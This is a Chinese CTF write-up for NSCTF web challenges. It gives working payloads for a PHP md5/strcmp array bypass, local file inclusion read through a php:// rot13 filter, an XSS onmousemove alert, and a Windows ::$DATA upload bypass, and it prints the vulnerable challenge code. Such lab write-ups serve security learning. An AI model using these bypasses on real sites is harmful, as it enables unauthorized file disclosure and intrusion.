当前位置:网站首页>NSCTF-web题目writeup
NSCTF-web题目writeup
2022-07-28 05:20:00 【cainsoftware】
Dream II
看题目提示的
仔细看用什么提示方式,页面进去提示了“put me a message then you can get the flag”
说明重点就是怎么把信息传过去,这里可以先测试GET POST请求会发现都不行 所以重点就是这个“PUT”这个词 所以用burpsuite 用PUT方式丢一个“message”的数据包得到如下图: 
看了一眼觉得是base64加密

WECLOME
查看源代码找到了前面的flag

抓个包看一下

抓包拼接就可以获得flag
Code Php

发现所有ctf题目都喜欢藏东西在源代码里面 访问code.txt
<?php
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
if($v1 != $v2 && md5($v1) == md5($v2)){
if(!strcmp($v3, $flag)){
echo $flag;
}
}
}
?>
这里可以看见设置了3个值 v1,v2,v3 要求是v1,v2的MD5相当但是内容又不相同,老题了。要不就是0e开头的MD5找2个赋值进去要不就用数组。v3这里是跟flag进行比较 strcmp 这个函数如果相同的话返回0 不相同返回-1 这里正好相反 但是也不用多去研究啥 毕竟我们不知道$flag的内容,直接传数组,他俩肯定就不相同了。
所以我这里的payload的就是:
index.php?v1[]=1&v2[]=2&v3[]=3
Include
页面打开看源代码
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>include</title>
</head>
<body>
<!-- include1.php -->
</body>
</html>访问include1.php自动补全 /include1.php?file=index
用php伪协议试了一下 ,后缀是必须是php的,系统内部补全了,index没啥内容就不贴了 读取include1.php有发现

base64解密后如下
<html>
</html>
<?php
error_reporting(0);
@$file = $_GET["file"];
if(isset($file))
{
if (preg_match('/http|data|ftp|input|%00|flag/i', $file) || strstr($file,"..") !== FALSE || strlen($file)>=100 || $file==="include1" )
{
echo "<p> error! </p>";
}
else
{
include($file.'.php');
setcookie("tips","include2.php");
}
}
else
{
header('Location:include1.php?file=index');
}
?>
如此可以看见还有一个文件是include2也可以做文件包含理论
且include1过滤了flag所以可以判断flag.php就是最后我们要读取的文件
读取include2的内容
<html>
</html>
<?php
error_reporting(0);
$file = $_GET["file"];
if(isset($file))
{
if ( preg_match('/http|data|ftp|input|%00|base/i', $file) || strstr($file,"..") !== FALSE || strlen($file)>=100)
{
echo "<p> error! </p>";
}
else
{
include($file.'.php');
}
}
else
{
echo "file not found";
}
?>
发现没有过滤flag去调用一下试试 测试下来没内容通过观察发现过滤了base,这里可以用string的rot13加密输出

通过解密即可得到flag

XSS

只要弹窗就可以了,好滴整起。
payload:"><a οnmοusemοve=alert(1) img=http://www.baidu.com>
写的有点长了

Upload

看题目提示windows系统我就知道考察一定是windows特性。
windows有啥特性 不就是::$DATA这个最猛吗

一丢就得到了flag到此结束~
边栏推荐
- 三大缓存技术--localStorage、sessionStorage、Cookie
- es6新增数据类型--->Symbol、Map、Set
- Some problems of ArcGIS Engine Installation
- Beginner mobile terminal
- 标准C语言总结1
- Related concepts and operations of DOM model
- Model builder of ArcGIS
- (PHP graduation project) obtained based on PHP student homework submission management system
- Progressive enhancement and graceful degradation
- DOM基础
猜你喜欢

DOM基础

uniapp问题:“navigationBarTextStyle“报错:Invalid prop: custom validator check failed for prop “navigat

Help document making based on easy CHM and vs

Time setting in curd component

SVG了解与绘图应用

蓝桥代码 翻硬币(我这样写也通过了,官网测试是不是有问题)

在线词云图生成(以WordArt为例)

书籍-清醒思考的艺术

Acquisition of mental health service system based on PHP (PHP graduation design)

使用sourcetree推送仓库时 Failed to connect to www.google.com port 80: Timed out
随机推荐
Sorting out problems related to ArcMap join table
[uni app] the use of scroll into view in uni app
标准C语言学习总结3
animation动画复合属性
书籍-清醒思考的艺术
js数据类型检测与修改检测
Review of metallurgical physical chemistry -- Fundamentals of metallurgical reaction kinetics and characteristics of multiphase reaction kinetics
书籍-聪明的投资者
抖音-视频步骤
DOM操作的案例
结果填空 购物单(教你用Excel解决)
ArcGIS Engine Development Resources
Help document making based on easy CHM and vs
Beginner mobile terminal
书籍-投资理念和策略
uniapp uview组件库的使用方法(下载方式)
结果填空 马虎的算式(暴力解决)
flex弹性盒子项目属性
标准C语言学习总结7
Some problems of ArcGIS Engine Installation